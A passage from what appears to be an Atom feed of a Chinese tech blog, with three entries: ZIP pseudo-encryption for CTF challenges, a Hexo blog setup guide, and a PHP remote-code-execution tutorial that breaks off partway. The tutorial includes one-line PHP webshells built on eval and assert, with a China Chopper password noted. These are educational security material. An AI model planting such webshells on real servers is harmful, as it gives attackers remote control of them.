（这是整个ZIP文件中最重要的计数之一，它表明这个ZIP文件中总共包含1个文件）</td></tr><tr><td align="center">5A 00 00 00</td><td align="center">目录区尺寸大小 （十进制90字节。这指的是从50 4B 01 02开始到中央目录记录结束的所有字节长度）</td></tr><tr><td align="center">3C 00 00 00</td><td align="center">目录区对第一张磁盘的偏移量 （中央目录相对于存档起始位置的偏移量。小端序，0x0000003C &#x3D; 十进制 60 字节。这意味着，解压软件需要从ZIP文件开头跳过60个字节，就能找到中央目录（即 PK\x01\x02 签名）</td></tr><tr><td align="center">00 00</td><td align="center">ZIP 文件注释长度（0表示ZIP文件没有全局注释）</td></tr><tr><td align="center">无</td><td align="center">ZIP文件注释内容（因为注释长度为0，所以这里没有数据）</td></tr></tbody></table><h3 id="伪加密原理"><a href="#伪加密原理" class="headerlink" title="伪加密原理"></a>伪加密原理</h3><p>在一个<strong>正常、健康的ZIP文件</strong>中，对于同一个文件条目，其压缩源文件数据区和压缩源文件目录区中的“全局方式位标记”（即加密标志）<strong>必须完全一致</strong>。</p><p>如：</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510311730437.png" alt="image-20251031173026383"></p><p>而解压软件处理ZIP文件通常分两步：</p><p>步骤一：列出文件列表</p><p>软件首先读取ZIP文件末尾的<strong>中央目录（目录区）</strong>，这里包含了所有文件的索引信息（文件名、加密标志等），软件根据这里的信息向用户展示文件列表，并给加密文件打上“*”的图标。</p><p>步骤二：解压具体文件</p><p>当用户选择解压一个文件时，软件根据中央目录记录的指针，找到文件对应的<strong>本地文件头（数据区）</strong>，软件依据<strong>数据区</strong>中的标志位来执行实际的解压操作。</p><p>伪加密，则是在一个正常未加密的zip文件上进行修改：将压缩源文件目录区的全局方式位标记改为加密的状态，这样，压缩软件首先读取目录区，就会认为“这是一个加密文件”，从而向用户索要密码。（但实际上，文件根本没有加密，这也是“伪加密”叫法的由来。）</p><p>例如：</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510311745846.png" alt="image-20251031174523805"></p><p>这里将00 00改为09 00，压缩软件就会显示加密：</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510311746413.png" alt="image-20251031174631352"></p><blockquote><p>经过实测，7-Zip检测的是数据区的全局方式位标记，其他解压软件，例如BandZip和WinRAR检测目录区的全局方式位标记，这三种软件都只检测一位，并不会检测另一个位置，同时也不会进行报错。</p></blockquote><p>你可能会好奇，为什么这里非得改成09而不是其它数字呢？</p><p>这与压缩软件判断通过全局方式位标记判定加密的逻辑有关：</p><p>全局方式位标记是一个<strong>16位的二进制数</strong>（在ZIP文件中以2个字节表示），在这16个位中，<strong>最低位</strong>（Least Significant Bit, 也称之为第0位）是<strong>加密的总开关</strong>。</p><p>在ZIP文件中，这2个字节是<strong>小端序</strong>存储的。例如，你看到 <code>00 00</code>，实际值应为 <code>0x0000</code>。</p><p>对应的二进制数为：<code>0000 0000 0000 0000</code>，最低位为<code>0</code>，因此判定为未加密，压缩软件会直接解压。</p><p>而<code>09 00</code>，对应二进制数：<code>0000 0000 0000 1001</code>，最低位为<code>1</code>，因此会判定为加密。</p><p>不同的加密算法也具有不同的详细特征：</p><table><thead><tr><th align="left">加密算法</th><th align="left">全局方式位标记 (二进制)</th><th align="left">典型十六进制值</th><th align="left">原理与特点</th></tr></thead><tbody><tr><td align="left">未加密</td><td align="left">xxxx xxxx xxxx xxx0</td><td align="left"><code>00 00</code>, <code>08 00</code></td><td align="left">第0位 &#x3D; 0。总开关关闭，文件未加密。</td></tr><tr><td align="left">PKWARE 传统加密</td><td align="left">xxxx xxxx xxxx xxx1</td><td align="left"><code>01 00</code>, <code>09 00</code></td><td align="left">第0位 &#x3D; 1，且第6位和第11位均为0。这是ZIP格式最初定义的弱加密算法。</td></tr><tr><td align="left">AES 加密</td><td align="left">xxxx xxx1 xxxx 1xx1</td><td align="left"><code>01 09</code>, <code>01 41</code>, <code>01 63</code></td><td align="left">第0位&#x3D;1（加密），且第6位&#x3D;1，第11位&#x3D;1。这是WinZip开发并标准化的强加密。</td></tr></tbody></table><p>但是总的来说，不管哪种加密，第0位都是决定加密的总开关，当第0位为0时，对应的十六进制值为偶数值，当第0为为1时，对应的十六进制值为奇数值，因此，我们才有了通过判定奇偶值来判断加密的说法。</p><h3 id="解题思路"><a href="#解题思路" class="headerlink" title="解题思路"></a>解题思路</h3><p>在CTF 比赛题目中，涉及到伪加密类型，我们需要同时分析zip的压缩源文件数据区和压缩源文件目录区，判定其是否为伪加密，再通过修改目录区的全局方式位标记来破解伪加密。</p>]]>
    </content>
    <id>http://czxh.top/2025/10/31/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3zip%E4%BC%AA%E5%8A%A0%E5%AF%86/</id>
    <link href="http://czxh.top/2025/10/31/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3zip%E4%BC%AA%E5%8A%A0%E5%AF%86/"/>
    <published>2025-10-30T16:00:00.000Z</published>
    <summary>关于zip压缩包伪加密的原理</summary>
    <title>深入理解zip伪加密</title>
    <updated>2025-10-30T16:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>诗雨.Promise</name>
    </author>
    <category term="Web" scheme="http://czxh.top/categories/Web/"/>
    <category term="web" scheme="http://czxh.top/tags/web/"/>
    <category term="前端" scheme="http://czxh.top/tags/%E5%89%8D%E7%AB%AF/"/>
    <content>
      <![CDATA[<h1 id="基于hexo框架的博客搭建教程"><a href="#基于hexo框架的博客搭建教程" class="headerlink" title="基于hexo框架的博客搭建教程"></a>基于hexo框架的博客搭建教程</h1><blockquote><p><strong>Introduction:</strong>  从零到一，搭建一个属于你自己的个人网站！</p></blockquote><p>文章参考：<a href="https://blog.anheyu.com/"><strong>安知鱼</strong></a> ，<a href="https://ayakasuki.com/"><strong>桃子</strong></a>，<a href="https://blog.xiowo.net/"><strong>MortalCat</strong></a>，<a href="https://fe32.top/"><strong>唐志远</strong></a></p><h2 id="1-环境准备"><a href="#1-环境准备" class="headerlink" title="1. 环境准备"></a>1. 环境准备</h2><p>演示操作系统：windows11 专业版</p><p>需要的环境：</p><ul><li>git：<a href="https://git-scm.com/downloads">https://git-scm.com/downloads</a></li><li>Nodejs：<a href="https://nodejs.org/zh-cn/download/">https://nodejs.org/zh-cn/download/</a></li><li>Hexo：见下文</li><li>GitHub 账号（<a href="https://github.com/">https://github.com/</a> 需要自行注册 ps: 学会科学上网） &#x2F; 云服务器（特别注意： 中国内地服务器需要备案）</li><li>VScode：<a href="https://code.visualstudio.com/download">https://code.visualstudio.com/download</a></li></ul><p>各种环境的安装教程自行上网查找</p><h3 id="注："><a href="#注：" class="headerlink" title="注："></a>注：</h3><p>Nodojs安装好后，最好需要更换npm源(npm默认源为国外，下载速度较慢，可能引起部分依赖无法安装问题)</p><p>换源：</p><pre><code class="language-bash">npm config set registry https://registry.npmmirror.com/</code></pre><h2 id="2-安装Hexo"><a href="#2-安装Hexo" class="headerlink" title="2. 安装Hexo"></a>2. 安装Hexo</h2><p>安装好git和Nodejs后，在终端执行：</p><pre><code class="language-bash">npm install -g hexo-cli</code></pre><p>hexo -v 验证安装，成功会输出版本信息</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510152047583.png" alt="image-20251015204736895"></p><h2 id="3-初始化项目"><a href="#3-初始化项目" class="headerlink" title="3. 初始化项目"></a>3. 初始化项目</h2><p>选择一个路径，这个路径即你博客之后所有本地文件所放的路径。建议在系统盘之外。</p><p>使用hexo init来初始化项目：</p><pre><code class="language-bash">hexo init example</code></pre><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510170841369.png" alt="image-20251017084147278"></p><p>进入项目文件夹后打开终端，安装依赖：</p><pre><code class="language-bash">npm -i</code></pre><p>此时整个项目初始化完毕：</p><p>你的项目应包含以下结构：</p><p>【node_modules】：依赖包<br>【scaffolds】：生成文章的一些模板<br>【source】：用来存放你的文章<br>【themes】：主题<br>【_config.landscape.yml】：默认主题的配置文件<br>【config.yml】：网站的配置文件<br>【package-lock.json】：项目名称、描述、版本、运行和开发等信息</p><p>此时，你已经成功拥有一个个人网页了！</p><p><strong>如何打开？</strong></p><p>需要常说的hexo三连</p><p>即以下命令：</p><pre><code class="language-bash">hexo clean &amp;&amp; hexo generate &amp;&amp; hexo server  // Git BASH终端hexo clean; hexo generate; hexo server  // VSCODE终端</code></pre><p>或者简写为：</p><pre><code class="language-bash">hexo cl &amp;&amp; hexo g &amp;&amp; hexo s  // Git BASH终端hexo cl; hexo g; hexo s  // VSCODE终端</code></pre><p>成功应看到以下信息：</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510170855717.png" alt="image-20251017085512382"></p><p>其代表你的网站服务在本地的4000端口开放（前提保证你的4000端口不被其他服务占用，如被占用可手动指定其他端口打开 例如：-p 5000）</p><p>访问<a href="http://localhost:4000/">http://localhost:4000</a> 或 <a href="http://127.0.0.1:4000/">http://127.0.0.1:4000</a> 就可以看到你的网页了！</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510170858278.png" alt="image-20251017085845604"></p><p>当然，网页中各种文字，描述，标题，图片等等都是可以改的，具体将在后文介绍</p><h2 id="4-上传至github-云服务器"><a href="#4-上传至github-云服务器" class="headerlink" title="4. 上传至github&#x2F;云服务器"></a>4. 上传至github&#x2F;云服务器</h2><p>你的网页目前只能在本地运行，也就是说，别人是无法访问的。</p><p>那么，如何像真正的网站那样，通过一个链接实现所有人都能访问呢？</p><p>你需要将你的网站推送到与公网连接的服务器上。</p><p>这里有两种方案：（以下配置方案二选一即可）</p><h3 id="一-github-pages"><a href="#一-github-pages" class="headerlink" title="一. github pages"></a>一. github pages</h3><p>**优点：**完全免费的服务，免费生成的域名，操作方便</p><p>**缺点：**网站的访问速度较慢，部分资源很难加载，可能需要科学上网才能访问到你的网页</p><hr><p>以下以github pages为例进行上传：</p><h4 id="配置git，创建仓库，连接到github"><a href="#配置git，创建仓库，连接到github" class="headerlink" title="配置git，创建仓库，连接到github"></a>配置git，创建仓库，连接到github</h4><ol><li>第一步：注册github账号（需要科学上网）</li></ol><p><a href="https://github.com/">https://github.com/</a></p><ol start="2"><li>第二步： 注册完成后，点击右上角的<code>+</code>按钮，选择<code>New repository</code>，创建一个<code>&lt;用户名&gt;.github.io</code>的仓库。</li></ol><p>配置如下：</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510170917241.png" alt="image-20251017091719130"></p><p>注意：格式必须为<code>xxx.github.io</code>！且必须选择<code>Public</code>！</p><ol start="3"><li>第三步： 需要配置好git用户名和邮箱：</li></ol><pre><code class="language-bash">git config --global user.name &quot;your-username&quot;git config --global user.email &quot;your-email&quot;</code></pre><p>通过<code>git config -l</code> 检查是否配置成功</p><ol start="4"><li>第四步： 连接到github</li></ol><p>执行以下命令生成ssh公钥：</p><pre><code class="language-bash">ssh-keygen -t rsa -C &quot;your-email&quot;</code></pre><p>之后打开C盘下用户文件夹下的.ssh的文件夹，会看到 id_rsa.pub</p><p>用记事本打开上述图片中的公钥（id_rsa.pub），复制里面的内容。<br>进入github，点击右上角头像 选择<code>settings</code>，进入设置页后选择 <code>SSH and GPG keys</code>，名字随便起，公钥填到<code>Key</code>那一栏。</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510170928166.png" alt="image-20251017092850917"></p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510170928422.png" alt="image-20251017092816162"></p><ol start="5"><li>测试连接：</li></ol><pre><code class="language-bash">ssh -T git@github.com</code></pre><p>成功信息：</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510170931798.png" alt="image-20251017093111703"></p><h4 id="将网站上传到github"><a href="#将网站上传到github" class="headerlink" title="将网站上传到github"></a>将网站上传到github</h4><p>首先需要安装依赖：</p><p>进入本地博客网站的目录后，运行如下命令：</p><pre><code class="language-bash">npm install hexo-deployer-git --save</code></pre><p>之后打开目录下的_config.yml，这是整个Hexo框架的配置文件，里面可以修改网站的各种配置。</p><p>找到deploy配置：</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510170937898.png" alt="image-20251017093752739"></p><p>将repository修改为你自己的github项目地址即可，还有分支要改为<code>main</code>代表主分支</p><p>例如：</p><pre><code class="language-bash">deploy:  type: git  repository: git@github.com:Mitunlny/example.github.io.git  branch: main</code></pre><p>配置保存后，运行hexo三连上传：</p><pre><code class="language-bash">hexo clean &amp;&amp; hexo generate &amp;&amp; hexo deploy  // Git BASH终端hexo clean; hexo generate; hexo deploy  // VSCODE终端</code></pre><p>简写为：</p><pre><code class="language-bash">hexo cl &amp;&amp; hexo g &amp;&amp; hexo d  // Git BASH终端hexo cl; hexo g; hexo d  // VSCODE终端</code></pre><p>如果出现<code>Deploy done</code>，则说明部署成功了。</p><p>此时进入你的项目，可以看到有多出的文件了：</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510170942867.png" alt="image-20251017094222748"></p><p>此时点击上方settings:</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510170943781.png" alt="image-20251017094358699"></p><p>在pages这里修改分支为main</p><p>等待出现上方的<code>Visit site</code>，就说明上传成功了，可以通过网址访问了</p><hr><h3 id="二-云服务器"><a href="#二-云服务器" class="headerlink" title="二. 云服务器"></a>二. 云服务器</h3><p>**优点：**内地访问速度快</p><p>**缺点：**云服务器需要付费，需要额外购买域名，且需要进行备案（港澳台除外）</p><hr><p>配置教程：</p><p>首先你需要有一台云服务器（Linux系统）实例，这里以基于Debian 发行版的Ubuntu 22.04为例</p><p>对于个人博客，建议使用1核CPU、1GB内存、20GB存储及以上配置的轻量级配置；带宽适量提高</p><h4 id="本地端环境配置"><a href="#本地端环境配置" class="headerlink" title="本地端环境配置"></a>本地端环境配置</h4><p>见上文，初始化项目结束，可以通过localhost访问即可。</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510191534145.png" alt="image-20251017085845604"></p><h4 id="服务端环境配置"><a href="#服务端环境配置" class="headerlink" title="服务端环境配置"></a>服务端环境配置</h4><h5 id="前置："><a href="#前置：" class="headerlink" title="前置："></a>前置：</h5><p>开放服务器常用端口，配置好防火墙或安全组等</p><p>访问服务器终端进行环境配置</p><h5 id="1-安装git和nginx"><a href="#1-安装git和nginx" class="headerlink" title="1. 安装git和nginx"></a>1. 安装git和nginx</h5><p>更新软件包：</p><pre><code class="language-bash">sudo apt update</code></pre><p>安装Nginx:</p><pre><code class="language-bash">sudo apt -y install nginx git</code></pre><p>验证：</p><pre><code class="language-bash">nginx -v</code></pre><p>启动nginx服务：</p><pre><code class="language-bash">systemctl enable nginx.servicesystemctl start nginx.service</code></pre><p>查看状态：</p><pre><code class="language-bash">systemctl status nginx.service</code></pre><p>如果显示<strong>active</strong>，那么就代表安装成功了。</p><h5 id="2-配置git仓库和HOOK"><a href="#2-配置git仓库和HOOK" class="headerlink" title="2. 配置git仓库和HOOK"></a>2. 配置git仓库和HOOK</h5><p>创建git用户：</p><pre><code class="language-bash">#创建用户,用户名为gitadduser git#设置密码passwd git</code></pre><p>把git用户添加到sudo用户组中:</p><p>输入<code>sudo vi /etc/sudoers</code>，打开sudoers文件</p><p>到代码行<code>root ALL=(ALL) ALL</code>,然后在这一行下添加以下代码<code>git ALL=(ALL) ALL</code>。</p><p>输入完毕之后，按<code>wq!</code>强制保存退出vi。</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510191634455.png" alt="image-20251019163431332"></p><p>切换到git用户，添加SSH Key文件并且设置相应的读写与执行权限：</p><pre><code class="language-bash"># 切换用户su git# 创建目录mkdir ~/.ssh# 新建文件vim ~/.ssh/authorized_keys</code></pre><p>然后把<strong>之前在客户端设置的SSH Key</strong>,复制到authorized_keys文件中，保存后退出。</p><p>配置权限：</p><pre><code class="language-bash">chmod 600 ~/.ssh/authorized_keyschmod 700 ~/.ssh</code></pre><p>创建一个新的文件夹，用于存放git仓库：</p><pre><code class="language-bash">mkdir /home/git/</code></pre><p>修改权限：</p><pre><code class="language-bash">chown -R $USER:$USER /home/git/chmod -R 755 /home/git/</code></pre><p>创建git仓库：</p><pre><code class="language-bash">cd /home/git/git init --bare blog.git</code></pre><p> 创建hook:</p><pre><code class="language-bash">vim ~/blog.git/hooks/post-receive</code></pre><p>输入以下内容：</p><pre><code class="language-bash">git --work-tree=/home/www/blog --git-dir=/home/git/blog.git checkout -f</code></pre><pre><code class="language-bash"># 在john.git/hooks文件夹下，修改post-receive文件权限，使其能够被正常执行chmod +x post-receive</code></pre><p>在本地的网站配置文件中配置如下：</p><pre><code class="language-bash">deploy:  type: git  repo: git@公网IP:/home/git/blog.git  branch: master</code></pre><p>再运行<code>hexo cl; hexo g; hexo d</code>即可部署到服务器上</p><h5 id="3-配置nginx环境"><a href="#3-配置nginx环境" class="headerlink" title="3. 配置nginx环境"></a>3. 配置nginx环境</h5><p>创建托管地址：</p><pre><code class="language-bash">mkdir -p /home/www/blogchown -R $USER:$USER /home/www/blogchmod -R 755 /home/www/blog</code></pre><p>这是之后博客网页文件的上传地址</p><p>之后找到nginx的配置文件（nginx.conf）</p><p>一般位于&#x2F;etc&#x2F;nginx，也可以用<code>nginx -t</code>来查找：</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510191617914.png" alt="image-20251019161742863"></p><p>修改配置文件中的server项：</p><pre><code>server &#123;        listen       80;        server_name  example.com;             #域名……        location / &#123;            root   /home/www/blog;            index  index.html index.htm;        &#125;&#125;</code></pre><p>主要是修改server_name与root，server_name修改为域名，没有域名就不用修改了，root就是blog静态资源文件目录。</p><p>然后重启nginx服务：</p><pre><code class="language-bash">sudo systemctl restart nginx.service</code></pre><h2 id="5-自定义域名"><a href="#5-自定义域名" class="headerlink" title="5. 自定义域名"></a>5. 自定义域名</h2><p>首先你需要去搜索你想要的域名去购买一个</p><p>在各大云厂商都可以购买（阿里云&#x2F;腾讯云&#x2F;百度云……）</p><p>之后就可以进行域名的解析了</p><p>推荐这篇文章：<a href="https://www.cnblogs.com/luoweifu/p/18361568">https://www.cnblogs.com/luoweifu/p/18361568</a></p><p>例如：连接域名到github：</p><p>即添加CNAME记录，将你的域名指向github给你分配的域名。</p><h2 id="6-网站页面修改和主题美化"><a href="#6-网站页面修改和主题美化" class="headerlink" title="6. 网站页面修改和主题美化"></a>6. 网站页面修改和主题美化</h2><p>默认的hexo页面非常简介而且不美观，因此想要让自己的博客变得好看起来，我们可以使用自定义的主题！</p><h3 id="一-主题配置"><a href="#一-主题配置" class="headerlink" title="一.  主题配置"></a>一.  主题配置</h3><p>hexo有很多种主题，可以到官网去下载或者在线预览各种主题样式的网页：<a href="http://hexo.io/">http://hexo.io</a></p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510201324556.png" alt="image-20251020132416362"></p><h4 id="下载并应用主题："><a href="#下载并应用主题：" class="headerlink" title="下载并应用主题："></a>下载并应用主题：</h4><p>这里以butterfly主题为例：</p><p>使用npm安装（也可以如上，从官网搜索该主题并安装）</p><pre><code class="language-bash">npm i hexo-theme-butterfly</code></pre><p>修改网站的配置文件，将主题<code>theme</code>改为<code>butterfly</code>:</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510201339898.png" alt="image-20251020133958843"></p><p>安装依赖：</p><pre><code class="language-bash">npm install hexo-renderer-pug hexo-renderer-stylus --save</code></pre><p>重新hexo三连，可以看到网页已经切换了主题：</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510201344098.png" alt="image-20251020134412004"></p><h4 id="基础信息配置："><a href="#基础信息配置：" class="headerlink" title="基础信息配置："></a>基础信息配置：</h4><p>我们可以看到，现在标题还是Hexo，而且我们的头像，昵称什么的也不对，因此我们需要去配置文件中修改。</p><p>注意！网页配置文件和主题配置文件的区别：</p><p>本文中，所指的网页配置文件指的是<code>_config.yml</code></p><p>而主题配置文件，指的是<code>_config.landscape.yml</code>或<code>_config.butterfly.yml</code></p><p>这里，如果是通过npm安装的，我们的<code>_config.butterfly.yml</code>会在这个位置：</p><pre><code class="language-bash">……\node_modules\hexo-theme-butterfly\_config.yml</code></pre><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510201350064.png" alt="image-20251020135051897"></p><p>我们可以将这个文件复制一份到根目录，并重命名为：<code>_config.butterfly.yml</code></p><p>这样方便编辑，且hexo默认第一优先使用的是这里复制的文件。</p><p>接下来，我们就可以编辑配置文件了！</p><h5 id="config-yml-网站配置文件："><a href="#config-yml-网站配置文件：" class="headerlink" title="_config.yml 网站配置文件："></a>_config.yml 网站配置文件：</h5><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510201352671.png" alt="image-20251020135225519"></p><ol><li>Site项：</li></ol><pre><code class="language-yaml"># Sitetitle: Hexosubtitle: &#39;&#39;description: &#39;&#39;keywords:author: mitulanguage: entimezone: &#39;&#39;</code></pre><table><thead><tr><th align="center">项目</th><th align="center">内容</th></tr></thead><tbody><tr><td align="center">title</td><td align="center">网站的标题</td></tr><tr><td align="center">subtitle</td><td align="center">副标题</td></tr><tr><td align="center">description</td><td align="center">页面描述</td></tr><tr><td align="center">keywords</td><td align="center">页面关键字</td></tr><tr><td align="center">author</td><td align="center">你的名字</td></tr><tr><td align="center">language</td><td align="center">网站使用的语言（zh-CN）</td></tr><tr><td align="center">timezone</td><td align="center">网站时区（Asia&#x2F;Shanghai）</td></tr></tbody></table><ol start="2"><li>URL：填写成你自己的域名即可</li></ol><h5 id="config-butterfly-yml-网站配置文件："><a href="#config-butterfly-yml-网站配置文件：" class="headerlink" title="_config.butterfly.yml 网站配置文件："></a>_config.butterfly.yml 网站配置文件：</h5><ol><li>menu项：网站的菜单，指向你的每一个页面，需要去掉注释。</li></ol><p>例如：</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/image-20251231181858038.png" alt="image-20251231181858038"></p><ol start="2"><li>code_blocks项：代码块的主题，风格调整</li></ol><pre><code class="language-yml">code_blocks:  # Code block theme: darker / pale night / light / ocean / false  theme: light  macStyle: true  # Code block height limit (unit: px)  height_limit: 200  word_wrap: false</code></pre><ol start="3"><li>social项： 填写自己的联系方式</li></ol><pre><code class="language-yml">social:  fab fa-github: https://xxxxxx/xxxxxx || Github || &#39;#24292e&#39;  fas fa-envelope: mailto:xxxxxx@qq.com || Email || &#39;#4a7dbe&#39;</code></pre><ol start="4"><li>avatar: 网站图标和头像</li></ol><pre><code class="language-yml">favicon:avatar:  img:  effect: false</code></pre><ol start="5"><li>banner images： 网站各个地方的banners图片(具体看自己应用)</li></ol><pre><code class="language-yml"># Disable all banner imagesdisable_top_img:# If the banner of page not setting, it will show the default_top_imgdefault_top_img:# The banner image of index pageindex_img:# The banner image of archive pagearchive_img:# Note: tag page, not tags pagetag_img:# The banner image of tag page, you can set the banner image for each tag# Format:#  - tag name: xxxxxtag_per_img:# Note: category page, not categories pagecategory_img:# The banner image of category page, you can set the banner image for each category# Format:#  - category name: xxxxxcategory_per_img:# The background image of footerfooter_img:</code></pre><ol start="6"><li>background项：网站的背景图片</li></ol><pre><code class="language-yml">background:   - background.png</code></pre>]]>
    </content>
    <id>http://czxh.top/2025/05/20/hexo_blog/</id>
    <link href="http://czxh.top/2025/05/20/hexo_blog/"/>
    <published>2025-05-19T16:00:00.000Z</published>
    <summary>基于hexo框架的博客搭建教程</summary>
    <title>基于hexo框架的博客搭建教程</title>
    <updated>2025-10-18T16:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>诗雨.Promise</name>
    </author>
    <category term="Web" scheme="http://czxh.top/categories/Web/"/>
    <category term="web" scheme="http://czxh.top/tags/web/"/>
    <category term="RCE" scheme="http://czxh.top/tags/RCE/"/>
    <content>
      <![CDATA[<h1 id="PHP-RCE"><a href="#PHP-RCE" class="headerlink" title="PHP-RCE"></a>PHP-RCE</h1><hr><blockquote><p>参考文章：</p><ul><li><p><a href="https://www.cnblogs.com/tomyyyyy/p/13905357.html">https://www.cnblogs.com/tomyyyyy/p/13905357.html</a></p></li><li><p><a href="https://blog.csdn.net/2302_76827504/article/details/130427099">https://blog.csdn.net/2302_76827504/article/details/130427099</a></p></li><li><p><a href="https://developer.aliyun.com/article/1224913">https://developer.aliyun.com/article/1224913</a></p></li><li><p><a href="https://blog.csdn.net/qq_45392044/article/details/145836455">https://blog.csdn.net/qq_45392044/article/details/145836455</a></p></li><li><p><a href="https://www.cnblogs.com/chir/p/13420148.html">https://www.cnblogs.com/chir/p/13420148.html</a></p></li></ul></blockquote><h1 id="PHP-RCE-基础"><a href="#PHP-RCE-基础" class="headerlink" title="PHP RCE 基础"></a>PHP RCE 基础</h1><h2 id="一、RCE漏洞概述"><a href="#一、RCE漏洞概述" class="headerlink" title="一、RCE漏洞概述"></a>一、RCE漏洞概述</h2><h3 id="什么是RCE——基本概念"><a href="#什么是RCE——基本概念" class="headerlink" title="什么是RCE——基本概念"></a>什么是RCE——基本概念</h3><p>远程代码&#x2F;命令执行漏洞（Remote Code&#x2F;Command Execute，简称RCE）是Web安全领域中危害性极高的漏洞类型，主要分为两类：</p><ol><li><strong>代码执行漏洞</strong>：针对后端编程语言（如PHP、Java、Python等）的漏洞</li><li><strong>命令执行漏洞</strong>：针对操作系统层面的漏洞</li></ol><p>本篇仅涉及PHP的代码执行漏洞</p><h3 id="RCE漏洞成因"><a href="#RCE漏洞成因" class="headerlink" title="RCE漏洞成因"></a>RCE漏洞成因</h3><p>当开发人员为了实现功能灵活性，在代码中调用<strong>动态执行函数</strong>时，若未对用户输入进行严格过滤，攻击者就可以构造恶意输入执行任意代码或系统命令。这种漏洞通常出现在以下场景：</p><ul><li>使用字符串转代码函数（如eval()）</li><li>调用系统命令函数（如system()）</li><li>动态包含文件功能</li><li>模板引擎解析</li></ul><h2 id="二、相关函数"><a href="#二、相关函数" class="headerlink" title="二、相关函数"></a>二、相关函数</h2><h3 id="命令执行"><a href="#命令执行" class="headerlink" title="命令执行"></a>命令执行</h3><p><strong>system()</strong></p><pre><code class="language-php">#string system ( string $command [, int &amp;$return_var ] )#system()函数执行有回显，将执行结果输出到页面上&lt;?phpsystem(&quot;whoami&quot;);?&gt;</code></pre><p><strong>exec()</strong></p><pre><code class="language-php">&lt;?phpecho exec(&quot;whoami&quot;);?&gt;</code></pre><p><strong>popen()</strong></p><pre><code class="language-php">#resource popen ( string $command , string $mode )#函数需要两个参数，一个是执行的命令command，另外一个是指针文件的连接模式mode，有r和w代表读#和写。函数不会直接返回执行结果，而是返回一个文件指针，但是命令已经执行&lt;?php popen( &#39;whoami &gt;&gt; c:/1.txt&#39;, &#39;r&#39; ); ?&gt;&lt;?php  $test = &quot;ls /tmp/test&quot;;  $fp = popen($test,&quot;r&quot;);  //popen打一个进程通道    while (!feof($fp)) &#123;      //从通道里面取得东西   $out = fgets($fp, 4096);   echo  $out;         //打印出来  &#125;  pclose($fp);  ?&gt; </code></pre><p><strong>proc_open()</strong></p><pre><code class="language-php">resource proc_open ( string $cmd , array $descriptorspec , array &amp;$pipes [, string $cwd [, array $env [, array $other_options ]]] )#与Popen函数类似，但是可以提供双向管道&lt;?php  $test = &quot;ipconfig&quot;;  $array =   array(   array(&quot;pipe&quot;,&quot;r&quot;),   //标准输入   array(&quot;pipe&quot;,&quot;w&quot;),   //标准输出内容   array(&quot;pipe&quot;,&quot;w&quot;)    //标准输出错误   );    $fp = proc_open($test,$array,$pipes);   //打开一个进程通道  echo stream_get_contents($pipes[1]);    //为什么是$pipes[1]，因为1是输出内容  proc_close($fp);  ?&gt; </code></pre><p><strong>passthru()</strong></p><pre><code class="language-php">#void passthru ( string $command [, int &amp;$return_var ] )&lt;?phppassthru(&quot;whoami&quot;);?&gt;</code></pre><p><strong>shell_exec()</strong></p><pre><code class="language-php">#string shell_exec( string &amp;command)&lt;?phpecho shell_exec(&quot;whoami&quot;);?&gt;</code></pre><p><strong>反引号 &#96;</strong></p><pre><code class="language-php">#shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体，当禁用shell_exec时，` 也不可执行&lt;?phpecho `whoami`;?&gt;</code></pre><p><strong>pcntl_exec()</strong></p><pre><code class="language-php">#void pcntl_exec ( string $path [, array $args [, array $envs ]] )#path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本#args是一个要传递给程序的参数的字符串数组。#pcntl是linux下的一个扩展，需要额外安装，可以支持 php 的多线程操作。#pcntl_exec函数的作用是在当前进程空间执行指定程序，版本要求：PHP &gt; 4.2.0&lt;?php pcntl_exec ( &quot;/bin/bash&quot; , array(&quot;whoami&quot;));?&gt;</code></pre><h3 id="代码注入"><a href="#代码注入" class="headerlink" title="代码注入"></a>代码注入</h3><p><strong>eval()</strong></p><pre><code class="language-php">#传入的参数必须为PHP代码，既需要以分号结尾。#命令执行：cmd=system(whoami);#菜刀连接密码：cmd&lt;?php @eval($_POST[&#39;cmd&#39;]);?&gt;</code></pre><p><strong>assert()</strong></p><pre><code class="language-php">#assert函数是直接将传入的参数当成PHP代码直接，不需要以分号结尾，当然你加上也可以。#命令执行：cmd=system(whoami)#菜刀连接密码：cmd&lt;?php @assert($_POST[&#39;cmd&#39;])?&gt;</code></pre><p><strong>preg_replace()</strong></p><pre><code class="language-php">#preg_replace(&#39;正则规则&#39;,&#39;替换字符&#39;，&#39;目标字符&#39;)#执行命令和上传文件参考assert函数(不需要加分号)。#将目标字符中符合正则规则的字符替换为替换字符，此时如果正则规则中使用/e修饰符，则存在代码执行漏洞。preg_replace(&quot;/test/e&quot;,$_POST[&quot;cmd&quot;],&quot;jutst test&quot;);</code></pre><p><strong>create_function()</strong></p><pre><code 